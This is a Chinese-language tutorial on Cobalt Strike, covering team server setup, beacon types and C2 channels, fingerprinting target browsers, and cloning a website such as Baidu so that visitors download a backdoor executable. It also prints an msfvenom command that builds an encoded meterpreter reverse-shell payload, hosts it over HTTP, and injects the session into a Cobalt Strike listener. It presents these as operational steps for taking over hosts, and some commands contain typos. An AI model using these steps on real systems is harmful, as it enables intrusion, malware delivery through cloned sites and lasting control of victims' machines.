前言:
Cobalt Strike简称CS用于团队作战使用,由一个服务端和多个客户端组成,能让多个攻击者在一个团队服务器上共享目标资源和信息
cs有很多payload的生成模块,可以生成exe,dll,vbs,图片马,vba宏,shellcode等
cs并且支持钓鱼攻击,自动化挂马链接生成
cs还有后渗透模块,浏览器代理模块,端口转发扫描,提权,socks代理,令牌窃取等
需要环境JDK11
Cobalt Strike团队服务器启动
在kali等系统中,在CS目录中打开终端输入:
./teamserver {设置当前主机的ip地址} {设置客户端连接cs的密码}
Cobalt Strike客户端连接到团队服务
进入cs目录在终端输入
./cobaltstrike //若第一次提示没有权限则输入指令 chmod 777 cobaltstrike
进入输入IP,端口,用户名[默认就行了]密码即可进入
Cobalt Strik功能介绍
1.添加新的Cobalt Strik团队服务器
2.删除当前的Cobalt Strik团队服务器
3.新建一个监听器
4.切换图形化会话按钮
5.切换列表话会话按钮
6.以列表方式显示目标
7.密码凭证栏按钮
8.下载文件列表
9.键盘记录表
10.屏幕截图表
11.生成windows下可执行木马
12.生成java签名的applet攻击
13.生成office宏攻击
14.生成powershell后门
15.文件托管按钮
16.管理web站点
17.帮助文档
18.关于
创建一个监控
监控器链接方式简介
beacon是cs内置的监听器,当我们在目标机器上成功执行payload后,会返回一个shell发送到cs上
foreign主要是提供给cs外的工具使用的监听器,例如派生出来msf的shell来进行后渗透
External C2是cs引入的一种规范(或者框架)黑客可以利用这个功能扩展C2通信梁到,而不局限于提供的http,https,dns,smb tcp通道
简而言之, 用户可以使用这个框架来开发各种组件,包括如下组件:
第三方控制端(Controller):负责连接 Cobalt Strike TeamServer,并且能够使用自定义的 C2 通道与目标主机上的第三方客户端(Client)通信。
第三方客户端(Client):使用自定义C2通道与第三 Controller 通信,将命令转发至 SMB Beacon。
SMB Beacon:在受害者主机上执行的标准 beacon。
Beacon分类
Beacon是Cobalt Strike运行在主机上的payload,Beacons是在隐藏信道上给我们提供服务,用于长期控制受感染主机,它的工作方式与Metasploit类似,在实际渗透过程中,我们可以将其嵌入到可执行文件,添加到word文档或者通过利用主机漏洞来传递Beacon
DNS Beacon
HTTP和HTTPS Beacon
SMB Beacon
TCP Beacon
DNS Beacon
DNS Beacon,就是使用DNS请求将Beacon返回,DNS请求用于解析由你的CS团队服务器
DNS响应也告诉Beacon如何从你的团队服务器下载任务
DNS Beacon优点:
拥有更高的隐蔽性,但是速度相对于HTTP Beacon更慢
HTTP和HTTPS Beacon
HTTP Beacon利用http请求来进行通信来向受害者主机传达命令,达到控制对方主机的目的,缺点是明文传输
HTTPS Beacon增加了加密传输,其他和http一样
SMB Beacon
Windows当中借助在SMB协议中封装命名管道进行通信,因此,命名为SMB Beacon,适用于外部的互联网,其实就是将payload注入后,创建了自定义命名管道
TCP Beacon
TCP Beacon和SMV Beacon类似只不过TCP Beacon不是使用SMB与父Beacon进行通信而是使用TCP socket进行通信,cs4.0之后这个技术不适合做第一个木马使用,因为他的流量都是明文的,容易被发现,但这个技术很适合在内网穿透中去使用,在内网穿透的时候一般只使用tcp beacon去生成木马
Cobalt Strik目标主机信息收集
Cobalt Strilk内置信息收集模块 可以收集 目标主机的操作系统版本 系统位数 浏览器 版本 位数
配置信息收集 有4个参数可以设置 分别 本地URL 本地HOST 本地端口 跳转URL
本地URL 配置的参数是访问IP后面的参数
本地HOST 是当前Cobalt Strik服务器的内网或者公网IP
本地端口 默认是80 如果80被占用就需要设置其他的 如 81 82 83
跳转URL 默认可不设置跳转
Cobalt Strik 克隆网页并挂马
克隆网页
配置网站克隆
克隆URL | 输入http网站链接 |
本地URL | 配置的参数是访问ip后面的参数 |
本地host | 是当前Cobalt Strilk服务器的内网或公网IP |
本地端口 | 默认是80 如果80被占用了就需要设置其他的81 82 83等 |
攻击地址 | 默认不配置 |
这里我克隆了一个baidu的网页
挂马
首先生成一个后门程序Windows Exeutable
生成一个windows exe的后门文件,并且设置好监听
在找到host file,在host file中加入windows exe后门文件
再次克隆网页
访问跳转到baidu.com并且会下载一个后门文件
配置方法
克隆URL | 输入http网站链接 |
本地URL | 配置的参数是访问ip后面的参数 |
本地host | 是当前Cobalt Strilk服务器的内网或公网IP |
本地端口 | 默认是80 如果80占用使用其他的 |
攻击地址 | 选择一个已经配置好的后面下载链接 |
MSF会话注入Cobalt Strik
配置MSF创建监听
使用msf创建后门
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=7777 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe
使用python创建一个web服务器 然后使用靶机下载
python3 -m http.server 80
配置监控并获取meterpreter并且使用msfconsole监听
使用监控
use exploit/multi/handler
加载payload
set payload windows/meterpreter/reverse_tcp
配置监控参数
show options
set lhost 监控IP
set lport 监控端口
run 执行
去靶机执行后门程序 等待返回 meterpreter
后台当前session
使用CS进行监控
加载msf的payload注入功能
use exploit/windows/local/payload/payload_inject
设置payload
set payload windows/meterpreter/reverse_http
解释因为cs里面我们使用监听是http Beacon
查看配置参数设置配置参数
show options
设置cs访问地址
set lhost 10.0.0.36
设置cs监听端口
set lport 4567
设置监控会话
set seesion 1
设置当前msf不接受监听数据
set disablepayloadhander true
执行设置
run
最后cs设置监听,最终上线